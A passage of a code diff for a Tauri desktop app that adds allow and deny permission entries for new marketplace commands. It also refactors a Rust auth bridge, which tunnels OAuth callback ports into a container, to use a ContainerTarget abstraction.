           "markdownDescription": "Denies the get_help_content command without any pre-configured scope."
         },
+        {
+          "description": "Denies the get_marketplace_sync_report command without any pre-configured scope.",
+          "type": "string",
+          "const": "deny-get-marketplace-sync-report",
+          "markdownDescription": "Denies the get_marketplace_sync_report command without any pre-configured scope."
+        },
         {
           "description": "Denies the get_migration_state command without any pre-configured scope.",
           "type": "string",
@@ -1340,6 +1502,12 @@
           "const": "deny-install-browser-view-support",
           "markdownDescription": "Denies the install_browser_view_support command without any pre-configured scope."
         },
+        {
+          "description": "Denies the install_marketplace_item command without any pre-configured scope.",
+          "type": "string",
+          "const": "deny-install-marketplace-item",
+          "markdownDescription": "Denies the install_marketplace_item command without any pre-configured scope."
+        },
         {
           "description": "Denies the list_aws_profiles command without any pre-configured scope.",
           "type": "string",
@@ -1364,6 +1532,18 @@
           "const": "deny-list-container-files",
           "markdownDescription": "Denies the list_container_files command without any pre-configured scope."
         },
+        {
+          "description": "Denies the list_marketplace_snapshots command without any pre-configured scope.",
+          "type": "string",
+          "const": "deny-list-marketplace-snapshots",
+          "markdownDescription": "Denies the list_marketplace_snapshots command without any pre-configured scope."
+        },
+        {
+          "description": "Denies the list_marketplace_updates command without any pre-configured scope.",
+          "type": "string",
+          "const": "deny-list-marketplace-updates",
+          "markdownDescription": "Denies the list_marketplace_updates command without any pre-configured scope."
+        },
         {
           "description": "Denies the list_notes command without any pre-configured scope.",
           "type": "string",
@@ -1382,6 +1562,18 @@
           "const": "deny-list-scheduled-tasks",
           "markdownDescription": "Denies the list_scheduled_tasks command without any pre-configured scope."
         },
+        {
+          "description": "Denies the marketplace_gh_host_available command without any pre-configured scope.",
+          "type": "string",
+          "const": "deny-marketplace-gh-host-available",
+          "markdownDescription": "Denies the marketplace_gh_host_available command without any pre-configured scope."
+        },
+        {
+          "description": "Denies the marketplace_item_diff command without any pre-configured scope.",
+          "type": "string",
+          "const": "deny-marketplace-item-diff",
+          "markdownDescription": "Denies the marketplace_item_diff command without any pre-configured scope."
+        },
         {
           "description": "Denies the migrate_project_to_base command without any pre-configured scope.",
           "type": "string",
@@ -1466,6 +1658,12 @@
           "const": "deny-reconcile-project-statuses",
           "markdownDescription": "Denies the reconcile_project_statuses command without any pre-configured scope."
         },
+        {
+          "description": "Denies the refresh_marketplaces command without any pre-configured scope.",
+          "type": "string",
+          "const": "deny-refresh-marketplaces",
+          "markdownDescription": "Denies the refresh_marketplaces command without any pre-configured scope."
+        },
         {
           "description": "Denies the regenerate_gateway_auth_token command without any pre-configured scope.",
           "type": "string",
@@ -1478,6 +1676,18 @@
           "const": "deny-regenerate-web-terminal-token",
           "markdownDescription": "Denies the regenerate_web_terminal_token command without any pre-configured scope."
         },
+        {
+          "description": "Denies the remove_marketplace command without any pre-configured scope.",
+          "type": "string",
+          "const": "deny-remove-marketplace",
+          "markdownDescription": "Denies the remove_marketplace command without any pre-configured scope."
+        },
+        {
+          "description": "Denies the remove_marketplace_account command without any pre-configured scope.",
+          "type": "string",
+          "const": "deny-remove-marketplace-account",
+          "markdownDescription": "Denies the remove_marketplace_account command without any pre-configured scope."
+        },
         {
           "description": "Denies the remove_project command without any pre-configured scope.",
           "type": "string",
@@ -1496,12 +1706,6 @@
           "const": "deny-rename-container-path",
           "markdownDescription": "Denies the rename_container_path command without any pre-configured scope."
         },
-        {
-          "description": "Denies the resume_session_command command without any pre-configured scope.",
-          "type": "string",
-          "const": "deny-resume-session-command",
-          "markdownDescription": "Denies the resume_session_command command without any pre-configured scope."
-        },
         {
           "description": "Denies the rollback_migration command without any pre-configured scope.",
           "type": "string",
@@ -1568,6 +1772,12 @@
           "const": "deny-set-gateway-api-key",
           "markdownDescription": "Denies the set_gateway_api_key command without any pre-configured scope."
         },
+        {
+          "description": "Denies the set_global_item_disabled command without any pre-configured scope.",
+          "type": "string",
+          "const": "deny-set-global-item-disabled",
+          "markdownDescription": "Denies the set_global_item_disabled command without any pre-configured scope."
+        },
         {
           "description": "Denies the set_scheduled_task_enabled command without any pre-configured scope.",
           "type": "string",
@@ -1586,6 +1796,12 @@
           "const": "deny-start-gateway",
           "markdownDescription": "Denies the start_gateway command without any pre-configured scope."
         },
+        {
+          "description": "Denies the start_marketplace_gh_container_login command without any pre-configured scope.",
+          "type": "string",
+          "const": "deny-start-marketplace-gh-container-login",
+          "markdownDescription": "Denies the start_marketplace_gh_container_login command without any pre-configured scope."
+        },
         {
           "description": "Denies the start_project_container command without any pre-configured scope.",
           "type": "string",
@@ -1658,12 +1874,36 @@
           "const": "deny-terminal-resize",
           "markdownDescription": "Denies the terminal_resize command without any pre-configured scope."
         },
+        {
+          "description": "Denies the test_marketplace_account command without any pre-configured scope.",
+          "type": "string",
+          "const": "deny-test-marketplace-account",
+          "markdownDescription": "Denies the test_marketplace_account command without any pre-configured scope."
+        },
         {
           "description": "Denies the transcribe_audio command without any pre-configured scope.",
           "type": "string",
           "const": "deny-transcribe-audio",
           "markdownDescription": "Denies the transcribe_audio command without any pre-configured scope."
         },
+        {
+          "description": "Denies the uninstall_marketplace_item command without any pre-configured scope.",
+          "type": "string",
+          "const": "deny-uninstall-marketplace-item",
+          "markdownDescription": "Denies the uninstall_marketplace_item command without any pre-configured scope."
+        },
+        {
+          "description": "Denies the update_marketplace command without any pre-configured scope.",
+          "type": "string",
+          "const": "deny-update-marketplace",
+          "markdownDescription": "Denies the update_marketplace command without any pre-configured scope."
+        },
+        {
+          "description": "Denies the update_marketplace_item command without any pre-configured scope.",
+          "type": "string",
+          "const": "deny-update-marketplace-item",
+          "markdownDescription": "Denies the update_marketplace_item command without any pre-configured scope."
+        },
         {
           "description": "Denies the update_project command without any pre-configured scope.",
           "type": "string",

app/src-tauri/gen/schemas/linux-schema.json

@@ -350,6 +350,24 @@
           "const": "allow-acquire-claude-token",
           "markdownDescription": "Enables the acquire_claude_token command without any pre-configured scope."
         },
+        {
+          "description": "Enables the add_marketplace command without any pre-configured scope.",
+          "type": "string",
+          "const": "allow-add-marketplace",
+          "markdownDescription": "Enables the add_marketplace command without any pre-configured scope."
+        },
+        {
+          "description": "Enables the add_marketplace_gh_host_account command without any pre-configured scope.",
+          "type": "string",
+          "const": "allow-add-marketplace-gh-host-account",
+          "markdownDescription": "Enables the add_marketplace_gh_host_account command without any pre-configured scope."
+        },
+        {
+          "description": "Enables the add_marketplace_token_account command without any pre-configured scope.",
+          "type": "string",
+          "const": "allow-add-marketplace-token-account",
+          "markdownDescription": "Enables the add_marketplace_token_account command without any pre-configured scope."
+        },
         {
           "description": "Enables the add_project command without any pre-configured scope.",
           "type": "string",
@@ -362,6 +380,12 @@
           "const": "allow-add-scheduled-task",
           "markdownDescription": "Enables the add_scheduled_task command without any pre-configured scope."
         },
+        {
+          "description": "Enables the apply_marketplace_now command without any pre-configured scope.",
+          "type": "string",
+          "const": "allow-apply-marketplace-now",
+          "markdownDescription": "Enables the apply_marketplace_now command without any pre-configured scope."
+        },
         {
           "description": "Enables the apply_settings_import command without any pre-configured scope.",
           "type": "string",
@@ -398,6 +422,12 @@
           "const": "allow-cancel-claude-token",
           "markdownDescription": "Enables the cancel_claude_token command without any pre-configured scope."
         },
+        {
+          "description": "Enables the cancel_marketplace_gh_login command without any pre-configured scope.",
+          "type": "string",
+          "const": "allow-cancel-marketplace-gh-login",
+          "markdownDescription": "Enables the cancel_marketplace_gh_login command without any pre-configured scope."
+        },
         {
           "description": "Enables the check_browser_view_support command without any pre-configured scope.",
           "type": "string",
@@ -524,6 +554,12 @@
           "const": "allow-export-settings",
           "markdownDescription": "Enables the export_settings command without any pre-configured scope."
         },
+        {
+          "description": "Enables the forget_marketplace_installs command without any pre-configured scope.",
+          "type": "string",
+          "const": "allow-forget-marketplace-installs",
+          "markdownDescription": "Enables the forget_marketplace_installs command without any pre-configured scope."
+        },
         {
           "description": "Enables the get_app_version command without any pre-configured scope.",
           "type": "string",
@@ -590,6 +626,12 @@
           "const": "allow-get-help-content",
           "markdownDescription": "Enables the get_help_content command without any pre-configured scope."
         },
+        {
+          "description": "Enables the get_marketplace_sync_report command without any pre-configured scope.",
+          "type": "string",
+          "const": "allow-get-marketplace-sync-report",
+          "markdownDescription": "Enables the get_marketplace_sync_report command without any pre-configured scope."
+        },
         {
           "description": "Enables the get_migration_state command without any pre-configured scope.",
           "type": "string",
@@ -650,6 +692,12 @@
           "const": "allow-install-browser-view-support",
           "markdownDescription": "Enables the install_browser_view_support command without any pre-configured scope."
         },
+        {
+          "description": "Enables the install_marketplace_item command without any pre-configured scope.",
+          "type": "string",
+          "const": "allow-install-marketplace-item",
+          "markdownDescription": "Enables the install_marketplace_item command without any pre-configured scope."
+        },
         {
           "description": "Enables the list_aws_profiles command without any pre-configured scope.",
           "type": "string",
@@ -674,6 +722,18 @@
           "const": "allow-list-container-files",
           "markdownDescription": "Enables the list_container_files command without any pre-configured scope."
         },
+        {
+          "description": "Enables the list_marketplace_snapshots command without any pre-configured scope.",
+          "type": "string",
+          "const": "allow-list-marketplace-snapshots",
+          "markdownDescription": "Enables the list_marketplace_snapshots command without any pre-configured scope."
+        },
+        {
+          "description": "Enables the list_marketplace_updates command without any pre-configured scope.",
+          "type": "string",
+          "const": "allow-list-marketplace-updates",
+          "markdownDescription": "Enables the list_marketplace_updates command without any pre-configured scope."
+        },
         {
           "description": "Enables the list_notes command without any pre-configured scope.",
           "type": "string",
@@ -692,6 +752,18 @@
           "const": "allow-list-scheduled-tasks",
           "markdownDescription": "Enables the list_scheduled_tasks command without any pre-configured scope."
         },
+        {
+          "description": "Enables the marketplace_gh_host_available command without any pre-configured scope.",
+          "type": "string",
+          "const": "allow-marketplace-gh-host-available",
+          "markdownDescription": "Enables the marketplace_gh_host_available command without any pre-configured scope."
+        },
+        {
+          "description": "Enables the marketplace_item_diff command without any pre-configured scope.",
+          "type": "string",
+          "const": "allow-marketplace-item-diff",
+          "markdownDescription": "Enables the marketplace_item_diff command without any pre-configured scope."
+        },
         {
           "description": "Enables the migrate_project_to_base command without any pre-configured scope.",
           "type": "string",
@@ -776,6 +848,12 @@
           "const": "allow-reconcile-project-statuses",
           "markdownDescription": "Enables the reconcile_project_statuses command without any pre-configured scope."
         },
+        {
+          "description": "Enables the refresh_marketplaces command without any pre-configured scope.",
+          "type": "string",
+          "const": "allow-refresh-marketplaces",
+          "markdownDescription": "Enables the refresh_marketplaces command without any pre-configured scope."
+        },
         {
           "description": "Enables the regenerate_gateway_auth_token command without any pre-configured scope.",
           "type": "string",
@@ -788,6 +866,18 @@
           "const": "allow-regenerate-web-terminal-token",
           "markdownDescription": "Enables the regenerate_web_terminal_token command without any pre-configured scope."
         },
+        {
+          "description": "Enables the remove_marketplace command without any pre-configured scope.",
+          "type": "string",
+          "const": "allow-remove-marketplace",
+          "markdownDescription": "Enables the remove_marketplace command without any pre-configured scope."
+        },
+        {
+          "description": "Enables the remove_marketplace_account command without any pre-configured scope.",
+          "type": "string",
+          "const": "allow-remove-marketplace-account",
+          "markdownDescription": "Enables the remove_marketplace_account command without any pre-configured scope."
+        },
         {
           "description": "Enables the remove_project command without any pre-configured scope.",
           "type": "string",
@@ -806,12 +896,6 @@
           "const": "allow-rename-container-path",
           "markdownDescription": "Enables the rename_container_path command without any pre-configured scope."
         },
-        {
-          "description": "Enables the resume_session_command command without any pre-configured scope.",
-          "type": "string",
-          "const": "allow-resume-session-command",
-          "markdownDescription": "Enables the resume_session_command command without any pre-configured scope."
-        },
         {
           "description": "Enables the rollback_migration command without any pre-configured scope.",
           "type": "string",
@@ -878,6 +962,12 @@
           "const": "allow-set-gateway-api-key",
           "markdownDescription": "Enables the set_gateway_api_key command without any pre-configured scope."
         },
+        {
+          "description": "Enables the set_global_item_disabled command without any pre-configured scope.",
+          "type": "string",
+          "const": "allow-set-global-item-disabled",
+          "markdownDescription": "Enables the set_global_item_disabled command without any pre-configured scope."
+        },
         {
           "description": "Enables the set_scheduled_task_enabled command without any pre-configured scope.",
           "type": "string",
@@ -896,6 +986,12 @@
           "const": "allow-start-gateway",
           "markdownDescription": "Enables the start_gateway command without any pre-configured scope."
         },
+        {
+          "description": "Enables the start_marketplace_gh_container_login command without any pre-configured scope.",
+          "type": "string",
+          "const": "allow-start-marketplace-gh-container-login",
+          "markdownDescription": "Enables the start_marketplace_gh_container_login command without any pre-configured scope."
+        },
         {
           "description": "Enables the start_project_container command without any pre-configured scope.",
           "type": "string",
@@ -968,12 +1064,36 @@
           "const": "allow-terminal-resize",
           "markdownDescription": "Enables the terminal_resize command without any pre-configured scope."
         },
+        {
+          "description": "Enables the test_marketplace_account command without any pre-configured scope.",
+          "type": "string",
+          "const": "allow-test-marketplace-account",
+          "markdownDescription": "Enables the test_marketplace_account command without any pre-configured scope."
+        },
         {
           "description": "Enables the transcribe_audio command without any pre-configured scope.",
           "type": "string",
           "const": "allow-transcribe-audio",
           "markdownDescription": "Enables the transcribe_audio command without any pre-configured scope."
         },
+        {
+          "description": "Enables the uninstall_marketplace_item command without any pre-configured scope.",
+          "type": "string",
+          "const": "allow-uninstall-marketplace-item",
+          "markdownDescription": "Enables the uninstall_marketplace_item command without any pre-configured scope."
+        },
+        {
+          "description": "Enables the update_marketplace command without any pre-configured scope.",
+          "type": "string",
+          "const": "allow-update-marketplace",
+          "markdownDescription": "Enables the update_marketplace command without any pre-configured scope."
+        },
+        {
+          "description": "Enables the update_marketplace_item command without any pre-configured scope.",
+          "type": "string",
+          "const": "allow-update-marketplace-item",
+          "markdownDescription": "Enables the update_marketplace_item command without any pre-configured scope."
+        },
         {
           "description": "Enables the update_project command without any pre-configured scope.",
           "type": "string",
@@ -1040,6 +1160,24 @@
           "const": "deny-acquire-claude-token",
           "markdownDescription": "Denies the acquire_claude_token command without any pre-configured scope."
         },
+        {
+          "description": "Denies the add_marketplace command without any pre-configured scope.",
+          "type": "string",
+          "const": "deny-add-marketplace",
+          "markdownDescription": "Denies the add_marketplace command without any pre-configured scope."
+        },
+        {
+          "description": "Denies the add_marketplace_gh_host_account command without any pre-configured scope.",
+          "type": "string",
+          "const": "deny-add-marketplace-gh-host-account",
+          "markdownDescription": "Denies the add_marketplace_gh_host_account command without any pre-configured scope."
+        },
+        {
+          "description": "Denies the add_marketplace_token_account command without any pre-configured scope.",
+          "type": "string",
+          "const": "deny-add-marketplace-token-account",
+          "markdownDescription": "Denies the add_marketplace_token_account command without any pre-configured scope."
+        },
         {
           "description": "Denies the add_project command without any pre-configured scope.",
           "type": "string",
@@ -1052,6 +1190,12 @@
           "const": "deny-add-scheduled-task",
           "markdownDescription": "Denies the add_scheduled_task command without any pre-configured scope."
         },
+        {
+          "description": "Denies the apply_marketplace_now command without any pre-configured scope.",
+          "type": "string",
+          "const": "deny-apply-marketplace-now",
+          "markdownDescription": "Denies the apply_marketplace_now command without any pre-configured scope."
+        },
         {
           "description": "Denies the apply_settings_import command without any pre-configured scope.",
           "type": "string",
@@ -1088,6 +1232,12 @@
           "const": "deny-cancel-claude-token",
           "markdownDescription": "Denies the cancel_claude_token command without any pre-configured scope."
         },
+        {
+          "description": "Denies the cancel_marketplace_gh_login command without any pre-configured scope.",
+          "type": "string",
+          "const": "deny-cancel-marketplace-gh-login",
+          "markdownDescription": "Denies the cancel_marketplace_gh_login command without any pre-configured scope."
+        },
         {
           "description": "Denies the check_browser_view_support command without any pre-configured scope.",
           "type": "string",
@@ -1214,6 +1364,12 @@
           "const": "deny-export-settings",
           "markdownDescription": "Denies the export_settings command without any pre-configured scope."
         },
+        {
+          "description": "Denies the forget_marketplace_installs command without any pre-configured scope.",
+          "type": "string",
+          "const": "deny-forget-marketplace-installs",
+          "markdownDescription": "Denies the forget_marketplace_installs command without any pre-configured scope."
+        },
         {
           "description": "Denies the get_app_version command without any pre-configured scope.",
           "type": "string",
@@ -1280,6 +1436,12 @@
           "const": "deny-get-help-content",
           "markdownDescription": "Denies the get_help_content command without any pre-configured scope."
         },
+        {
+          "description": "Denies the get_marketplace_sync_report command without any pre-configured scope.",
+          "type": "string",
+          "const": "deny-get-marketplace-sync-report",
+          "markdownDescription": "Denies the get_marketplace_sync_report command without any pre-configured scope."
+        },
         {
           "description": "Denies the get_migration_state command without any pre-configured scope.",
           "type": "string",
@@ -1340,6 +1502,12 @@
           "const": "deny-install-browser-view-support",
           "markdownDescription": "Denies the install_browser_view_support command without any pre-configured scope."
         },
+        {
+          "description": "Denies the install_marketplace_item command without any pre-configured scope.",
+          "type": "string",
+          "const": "deny-install-marketplace-item",
+          "markdownDescription": "Denies the install_marketplace_item command without any pre-configured scope."
+        },
         {
           "description": "Denies the list_aws_profiles command without any pre-configured scope.",
           "type": "string",
@@ -1364,6 +1532,18 @@
           "const": "deny-list-container-files",
           "markdownDescription": "Denies the list_container_files command without any pre-configured scope."
         },
+        {
+          "description": "Denies the list_marketplace_snapshots command without any pre-configured scope.",
+          "type": "string",
+          "const": "deny-list-marketplace-snapshots",
+          "markdownDescription": "Denies the list_marketplace_snapshots command without any pre-configured scope."
+        },
+        {
+          "description": "Denies the list_marketplace_updates command without any pre-configured scope.",
+          "type": "string",
+          "const": "deny-list-marketplace-updates",
+          "markdownDescription": "Denies the list_marketplace_updates command without any pre-configured scope."
+        },
         {
           "description": "Denies the list_notes command without any pre-configured scope.",
           "type": "string",
@@ -1382,6 +1562,18 @@
           "const": "deny-list-scheduled-tasks",
           "markdownDescription": "Denies the list_scheduled_tasks command without any pre-configured scope."
         },
+        {
+          "description": "Denies the marketplace_gh_host_available command without any pre-configured scope.",
+          "type": "string",
+          "const": "deny-marketplace-gh-host-available",
+          "markdownDescription": "Denies the marketplace_gh_host_available command without any pre-configured scope."
+        },
+        {
+          "description": "Denies the marketplace_item_diff command without any pre-configured scope.",
+          "type": "string",
+          "const": "deny-marketplace-item-diff",
+          "markdownDescription": "Denies the marketplace_item_diff command without any pre-configured scope."
+        },
         {
           "description": "Denies the migrate_project_to_base command without any pre-configured scope.",
           "type": "string",
@@ -1466,6 +1658,12 @@
           "const": "deny-reconcile-project-statuses",
           "markdownDescription": "Denies the reconcile_project_statuses command without any pre-configured scope."
         },
+        {
+          "description": "Denies the refresh_marketplaces command without any pre-configured scope.",
+          "type": "string",
+          "const": "deny-refresh-marketplaces",
+          "markdownDescription": "Denies the refresh_marketplaces command without any pre-configured scope."
+        },
         {
           "description": "Denies the regenerate_gateway_auth_token command without any pre-configured scope.",
           "type": "string",
@@ -1478,6 +1676,18 @@
           "const": "deny-regenerate-web-terminal-token",
           "markdownDescription": "Denies the regenerate_web_terminal_token command without any pre-configured scope."
         },
+        {
+          "description": "Denies the remove_marketplace command without any pre-configured scope.",
+          "type": "string",
+          "const": "deny-remove-marketplace",
+          "markdownDescription": "Denies the remove_marketplace command without any pre-configured scope."
+        },
+        {
+          "description": "Denies the remove_marketplace_account command without any pre-configured scope.",
+          "type": "string",
+          "const": "deny-remove-marketplace-account",
+          "markdownDescription": "Denies the remove_marketplace_account command without any pre-configured scope."
+        },
         {
           "description": "Denies the remove_project command without any pre-configured scope.",
           "type": "string",
@@ -1496,12 +1706,6 @@
           "const": "deny-rename-container-path",
           "markdownDescription": "Denies the rename_container_path command without any pre-configured scope."
         },
-        {
-          "description": "Denies the resume_session_command command without any pre-configured scope.",
-          "type": "string",
-          "const": "deny-resume-session-command",
-          "markdownDescription": "Denies the resume_session_command command without any pre-configured scope."
-        },
         {
           "description": "Denies the rollback_migration command without any pre-configured scope.",
           "type": "string",
@@ -1568,6 +1772,12 @@
           "const": "deny-set-gateway-api-key",
           "markdownDescription": "Denies the set_gateway_api_key command without any pre-configured scope."
         },
+        {
+          "description": "Denies the set_global_item_disabled command without any pre-configured scope.",
+          "type": "string",
+          "const": "deny-set-global-item-disabled",
+          "markdownDescription": "Denies the set_global_item_disabled command without any pre-configured scope."
+        },
         {
           "description": "Denies the set_scheduled_task_enabled command without any pre-configured scope.",
           "type": "string",
@@ -1586,6 +1796,12 @@
           "const": "deny-start-gateway",
           "markdownDescription": "Denies the start_gateway command without any pre-configured scope."
         },
+        {
+          "description": "Denies the start_marketplace_gh_container_login command without any pre-configured scope.",
+          "type": "string",
+          "const": "deny-start-marketplace-gh-container-login",
+          "markdownDescription": "Denies the start_marketplace_gh_container_login command without any pre-configured scope."
+        },
         {
           "description": "Denies the start_project_container command without any pre-configured scope.",
           "type": "string",
@@ -1658,12 +1874,36 @@
           "const": "deny-terminal-resize",
           "markdownDescription": "Denies the terminal_resize command without any pre-configured scope."
         },
+        {
+          "description": "Denies the test_marketplace_account command without any pre-configured scope.",
+          "type": "string",
+          "const": "deny-test-marketplace-account",
+          "markdownDescription": "Denies the test_marketplace_account command without any pre-configured scope."
+        },
         {
           "description": "Denies the transcribe_audio command without any pre-configured scope.",
           "type": "string",
           "const": "deny-transcribe-audio",
           "markdownDescription": "Denies the transcribe_audio command without any pre-configured scope."
         },
+        {
+          "description": "Denies the uninstall_marketplace_item command without any pre-configured scope.",
+          "type": "string",
+          "const": "deny-uninstall-marketplace-item",
+          "markdownDescription": "Denies the uninstall_marketplace_item command without any pre-configured scope."
+        },
+        {
+          "description": "Denies the update_marketplace command without any pre-configured scope.",
+          "type": "string",
+          "const": "deny-update-marketplace",
+          "markdownDescription": "Denies the update_marketplace command without any pre-configured scope."
+        },
+        {
+          "description": "Denies the update_marketplace_item command without any pre-configured scope.",
+          "type": "string",
+          "const": "deny-update-marketplace-item",
+          "markdownDescription": "Denies the update_marketplace_item command without any pre-configured scope."
+        },
         {
           "description": "Denies the update_project command without any pre-configured scope.",
           "type": "string",

app/src-tauri/src/auth_bridge/mod.rs

@@ -32,7 +32,7 @@
 //! |---|---|
 //! | Bridge disabled | `set_auth_bridge_enabled(false)` → [`AuthBridgeManager::stop`] |
 //! | Container stopped via UI | `stop_project_container` → [`AuthBridgeManager::stop`] |
-//! | Container stopped/died another way | poller's own `is_container_running` check → loop exits |
+//! | Container stopped/died another way | poller's own `is_running` check → loop exits |
 //! | Project deleted | `remove_project` → [`AuthBridgeManager::stop`]; also the poller's `store.get()` check |
 //! | Container rebuilt | `rebuild_project_container` → stop, then start re-arms it |
 //! | App exit | window `CloseRequested` → [`AuthBridgeManager::stop_all`] |
@@ -55,8 +55,7 @@ use tauri::{AppHandle, Emitter};
 use tokio::sync::{watch, Mutex};
 use tokio::task::JoinHandle;
 
-use crate::docker::container::is_container_running;
-use crate::docker::exec::{exec_oneshot_limited, PROC_NET_OUTPUT_LIMIT};
+use crate::host::{ContainerTarget, PROC_NET_OUTPUT_LIMIT};
 use crate::storage::projects_store::ProjectsStore;
 
 use proc_net::PortFamily;
@@ -178,7 +177,7 @@ impl AuthBridgeManager {
     pub async fn start(
         &self,
         project_id: String,
-        container_id: String,
+        container: ContainerTarget,
         app: AppHandle,
         store: Arc<ProjectsStore>,
     ) {
@@ -200,12 +199,12 @@ impl AuthBridgeManager {
         log::info!(
             "Auth bridge: starting for project {} (container {})",
             project_id,
-            &container_id[..container_id.len().min(12)]
+            &container.id()[..container.id().len().min(12)]
         );
 
         let poller = tokio::spawn(poll_loop(
             project_id.clone(),
-            container_id,
+            container,
             epoch,
             app,
             store,
@@ -276,7 +275,7 @@ impl AuthBridgeManager {
 #[allow(clippy::too_many_arguments)]
 async fn poll_loop(
     project_id: String,
-    container_id: String,
+    container: ContainerTarget,
     epoch: u64,
     app: AppHandle,
     store: Arc<ProjectsStore>,
@@ -301,7 +300,7 @@ async fn poll_loop(
             log::info!("Auth bridge: disabled for project {} — tearing down", project_id);
             break;
         }
-        if !is_container_running(&container_id).await.unwrap_or(false) {
+        if !container.is_running().await.unwrap_or(false) {
             log::info!(
                 "Auth bridge: container for project {} is no longer running — tearing down",
                 project_id
@@ -327,7 +326,9 @@ async fn poll_loop(
         // bridge or stopping the container doesn't wait out an in-flight poll.
         let discovery = tokio::select! {
             _ = cancel.changed() => break,
-            res = exec_oneshot_limited(&container_id, cmd, PROC_NET_OUTPUT_LIMIT) => res,
+            res = container.exec_oneshot_limited("claude", cmd, PROC_NET_OUTPUT_LIMIT) => {
+                res.map(|(out, _)| out)
+            }
         };
 
         match discovery {
@@ -338,7 +339,7 @@ async fn poll_loop(
                 // gateway/STT/web-terminal ports can be re-pointed while the
                 // bridge is running, and a stale reservation set is a hole.
                 let skip = skipped_ports(&project, &store.list(), &app_settings(&app));
-                if reconcile(&container_id, &discovered, &skip, &state).await {
+                if reconcile(&container, &discovered, &skip, &state).await {
                     emit_status(&app, &project_id, &state, true).await;
                 }
             }
@@ -528,7 +529,7 @@ const MAX_CONFLICTS: usize = 32;
 /// Bring the set of host listeners in line with what the container is currently
 /// listening on. Returns whether anything the UI cares about changed.
 async fn reconcile(
-    container_id: &str,
+    container: &ContainerTarget,
     discovered: &BTreeMap<u16, PortFamily>,
     skip: &HashSet<u16>,
     state: &Arc<Mutex<BridgeState>>,
@@ -581,7 +582,7 @@ async fn reconcile(
             );
             continue;
         }
-        match PortForward::bind(container_id.to_string(), port, family).await {
+        match PortForward::bind(container.clone(), port, family).await {
             Ok(forward) => {
                 if st.conflicts.remove(&port).is_some() {
                     log::info!("Auth bridge: host port {} became available", port);
@@ -831,7 +832,13 @@ mod tests {
             (45000u16..45200).map(|p| (p, PortFamily::V4)).collect();
         let state = Arc::new(Mutex::new(BridgeState::default()));
 
-        reconcile("no-such-container", &discovered, &HashSet::new(), &state).await;
+        reconcile(
+            &ContainerTarget::docker("no-such-container"),
+            &discovered,
+            &HashSet::new(),
+            &state,
+        )
+        .await;
 
         let mut st = state.lock().await;
         assert!(

app/src-tauri/src/auth_bridge/tunnel.rs

@@ -11,7 +11,7 @@
 //! and stdout wired to the TCP socket. `socat` ships in the container image.
 //!
 //! The exec plumbing itself is *not* reimplemented here: it comes from
-//! [`crate::docker::exec::create_attached_exec`], the same helper the
+//! [`crate::host::ContainerTarget::attach_exec`], the same helper the
 //! interactive terminal sessions are built on.
 //!
 //! ## What the host listener is, and is not
@@ -56,14 +56,12 @@
 use std::net::{Ipv4Addr, Ipv6Addr, SocketAddr};
 use std::time::Duration;
 
-use bollard::container::LogOutput;
+use crate::host::{AttachedExec, ContainerTarget, ExecChunk};
 use futures_util::StreamExt;
 use tokio::io::{AsyncReadExt, AsyncWriteExt};
 use tokio::net::{TcpListener, TcpStream};
 use tokio::task::{JoinHandle, JoinSet};
 
-use crate::docker::exec::{create_attached_exec, AttachedExec};
-
 use super::proc_net::PortFamily;
 
 /// Buffer size for the host→container direction. OAuth callbacks are tiny; this
@@ -143,13 +141,13 @@ impl Drop for PortForward {
 }
 
 impl PortForward {
-    /// Bind `port` on the host loopback and start proxying into `container_id`.
+    /// Bind `port` on the host loopback and start proxying into `container`.
     ///
     /// The bind happens before the task is spawned, so an already-taken port is
     /// reported to the caller as an error rather than disappearing into a
     /// background task.
     pub async fn bind(
-        container_id: String,
+        container: ContainerTarget,
         port: u16,
         family: PortFamily,
     ) -> Result<Self, std::io::Error> {
@@ -196,7 +194,7 @@ impl PortForward {
             };
 
         let target = family.socat_target(port);
-        let task = tokio::spawn(accept_loop(container_id, port, target, v4, v6));
+        let task = tokio::spawn(accept_loop(container, port, target, v4, v6));
 
         Ok(Self {
             port,
@@ -219,7 +217,7 @@ impl PortForward {
 /// Accept on both loopback listeners until aborted. Dropping this future drops
 /// the listeners (freeing the port) and the `JoinSet` (aborting live tunnels).
 async fn accept_loop(
-    container_id: String,
+    container: ContainerTarget,
     port: u16,
     target: String,
     v4: TcpListener,
@@ -258,7 +256,7 @@ async fn accept_loop(
                 log::debug!("Auth bridge: connection from {} to bridged port {}", peer, port);
                 let _ = stream.set_nodelay(true);
                 conns.spawn(tunnel_connection(
-                    container_id.clone(),
+                    container.clone(),
                     target.clone(),
                     stream,
                     port,
@@ -288,7 +286,12 @@ async fn accept_optional(
 ///
 /// Nothing is forwarded until that decision is made, so a refused request never
 /// reaches the container at all — not even a `docker exec`.
-async fn tunnel_connection(container_id: String, target: String, mut stream: TcpStream, port: u16) {
+async fn tunnel_connection(
+    container: ContainerTarget,
+    target: String,
+    mut stream: TcpStream,
+    port: u16,
+) {
     let head = match read_leading_bytes(&mut stream).await {
         Ok(head) => head,
         Err(e) => {
@@ -319,7 +322,7 @@ async fn tunnel_connection(container_id: String, target: String, mut stream: Tcp
     }
 
     // The bytes already off the socket go back on the wire first, byte-exact.
-    tunnel_connection_with_prelude(container_id, target, stream, port, head.into_buffer()).await
+    tunnel_connection_with_prelude(container, target, stream, port, head.into_buffer()).await
 }
 
 /// What the first bytes of an accepted connection turned out to be.
@@ -512,7 +515,7 @@ pub(crate) fn web_request_verdict(head: &str) -> Verdict {
 /// back on the wire. Passing them here keeps the byte stream exact, rather than
 /// re-serialising a parsed request.
 pub async fn tunnel_connection_with_prelude(
-    container_id: String,
+    container: ContainerTarget,
     target: String,
     stream: TcpStream,
     port: u16,
@@ -524,7 +527,7 @@ pub async fn tunnel_connection_with_prelude(
         mut output,
         mut input,
         ..
-    } = match create_attached_exec(&container_id, cmd, false).await {
+    } = match container.attach_exec(cmd, false).await {
         Ok(e) => e,
         Err(e) => {
             log::warn!(
@@ -587,12 +590,12 @@ pub async fn tunnel_connection_with_prelude(
             // Only stdout is payload. The exec is created with tty = false
             // precisely so Docker demultiplexes these, keeping socat's stderr
             // diagnostics out of the proxied byte stream.
-            Ok(LogOutput::StdOut { message }) => {
+            Ok(ExecChunk::StdOut(message)) => {
                 if host_tx.write_all(&message).await.is_err() {
                     break;
                 }
             }
-            Ok(LogOutput::StdErr { message }) => {
+            Ok(ExecChunk::StdErr(message)) => {
                 log::debug!(
                     "Auth bridge: socat stderr for port {}: {}",
                     port,

app/src-tauri/src/browser_view/commands.rs

@@ -6,6 +6,7 @@ use tauri::{AppHandle, State};
 
 use crate::browser_view::install::{self, BrowserSetupOutcome};
